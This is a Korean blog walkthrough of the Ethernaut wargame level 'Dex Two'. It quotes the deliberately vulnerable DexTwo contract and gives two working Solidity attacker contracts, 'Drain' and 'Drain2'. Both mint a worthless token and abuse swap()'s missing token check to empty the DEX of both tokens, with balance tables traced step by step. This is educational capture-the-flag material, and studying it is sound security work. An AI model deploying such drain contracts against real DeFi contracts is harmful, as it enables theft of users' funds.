티스토리 뷰

Solidity/Hacking

[Ethernaut] 23. Dex Two

piatoss 2024. 2. 4. 12:00

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

This level will ask you to break `DexTwo`, a subtlely modified `Dex` contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the `DexTwo` contract to succeed in this level.

You will still start with 10 tokens of `token1` and 10 of `token2`. The DEX contract still starts with 100 of each token.

  Things that might help:

- How has the `swap` method been modified?

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

2. 풀이

 이전 문제와 달리, 컨트랙트가 일부 수정되었고 문제를 해결하려면 컨트랙트가 가진 모든 token1과 token2를 탈취해야 합니다. 일단 이전 문제와 동일하게 진행해 보겠습니다.

await contract.approve(instance, BigInt(2^256 - 1))
player instance
token1 token2 token1 token2
10 10 100 100
token1 10개를 token2로 교환
0 20 110 90
token2 20개를 token1로 교환
24 0 86 110
token1 24개를 token2로 교환
0 30 110 80
token2 30개를 token1로 교환
41 0 69 110
token1 41개를 token2로 교환
0 65 110 45
token2 45개를 token1로 교환
110 20 0 90

 이제 남은 90개의 token2를 컨트랙트로부터 탈취해야 하는데, 이는 새로운 token3을 발행하여 해당 토큰으로 탈취하면 됩니다. token1과 token2를 탈취하라고 했지 새로운 토큰을 사용할 수 없다는 말은 없었으니까요. 그리고 swap 함수의 제약 부분을 보면 이전 문제와 다르게 token1과 token2를 강제하는 부분이 사라졌습니다.

function swap(address from, address to, uint amount) public {
  require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
  ...
 }

 따라서 다음 컨트랙트를 새롭게 배포하여 남은 token2를 탈취하여 봅시다.

contract Drain is SwappableTokenTwo {
  address public dex;

  constructor(address _dex) SwappableTokenTwo(_dex, "Drain", "DR", 0) {
    dex = _dex;
    _mint(address(this), 2);
  }

  function drain() public {
    this.approve(address(this), dex, type(uint256).max);
    this.transfer(dex, 1);

    DexTwo instance = DexTwo(dex);
    
    address token1 = instance.token1();
    address token2 = instance.token2();

    uint token1Amount = instance.balanceOf(token1, dex);
    uint token2Amount = instance.balanceOf(token2, dex);

    address to = token1Amount > token2Amount ? token1 : token2;
    
    instance.swap(address(this), to, 1);
  }
}

 우선 생성자에서 컨트랙트 자기 자신에게 2개의 토큰을 발행합니다. 그리고 drain 함수를 호출하는데, 실행 과정은 다음과 같습니다. 이번에는 player의 잔액과는 전혀 상관없이 Drain 컨트랙트와 DexTwo 인스턴스 사이의 상호작용만으로 토큰을 탈취할 수 있습니다.

drain instance
token2 token3 token2 token3
0 2 90 0
2^256 - 1만큼의 token3 사용을 허용
0 2 90 0
token3 1개를 전송
24 1 90 1
token3 1개를 token2로 교환
90 0 0 2

 token3 단 2개로 90개의 token2를 탈취했습니다. 우선적으로 인스턴스에게 1개의 toke3을 전송한 것은 아래 스왑량을 계산하는 식에서 'divide by 0' 오류가 발생하지 않도록 하기 위함입니다. 그리고 token3 1개를 token2와 교환하여 (1 * 90) / 1 = 90개의 token2를 받을 수 있었습니다. 어찌 되었건 전송한 토큰의 양과 교환할 토큰의 양이 동일하다면 결과적으로 인스턴스가 가진 모든 잔액을 가져올 수 있습니다.

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
  return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

 

 인스턴스를 제출하고 마무리합니다.


3. 다른 풀이

 앞선 풀이는 이전 문제와의 유사성을 파악하기 위해 조금 번거롭게 풀었다면, player의 잔액을 사용하지 않고 새로운 토큰 컨트랙트만을 사용한 간단한 풀이도 가능합니다.

contract Drain2 is SwappableTokenTwo {
  address public dex;

  constructor(address _dex) SwappableTokenTwo(_dex, "Drain2", "DR2", 0) {
    dex = _dex;
    _mint(address(this), 4);
  }

  function drain() public {
    this.approve(address(this), dex, type(uint256).max);
    this.transfer(dex, 1);

    DexTwo instance = DexTwo(dex);
    
    address token1 = instance.token1();
    address token2 = instance.token2();
    
    instance.swap(address(this), token1, 1);
    instance.swap(address(this), token2, 2);
  }
}

 이번에는 단 4개의 토큰으로 token1 100개, token2 100개를 탈취할 수 있습니다.

drain2 instance
token1 token2 token3 token1 token2 token3
0 0 4 100 100 0
2^256 - 1만큼의 token3 사용을 허용
0 0 4 100 100 0
token3 1개를 전송
0 0 3 100 100 1
token3 1개를 token1로 교환
100 0 2 0 100 2
token3 2개를 token2로 교환
100 100 0 0 0 4

 이 문제는 지난 문제의 Dex를 개선한 것이 아니라 오히려 퇴화를 해버렸군요. 이런걸 DEX라고 부를 수는 없을 것 같습니다.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 28. Gatekeeper Three  (1) 2024.02.06
[Ethernaut] 27. Good Samaritan  (1) 2024.02.05
[Ethernaut] 22. Dex  (0) 2024.02.03
[Ethernaut] 21. Shop  (0) 2024.02.02
[Ethernaut] 20. Denial  (0) 2024.02.01
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함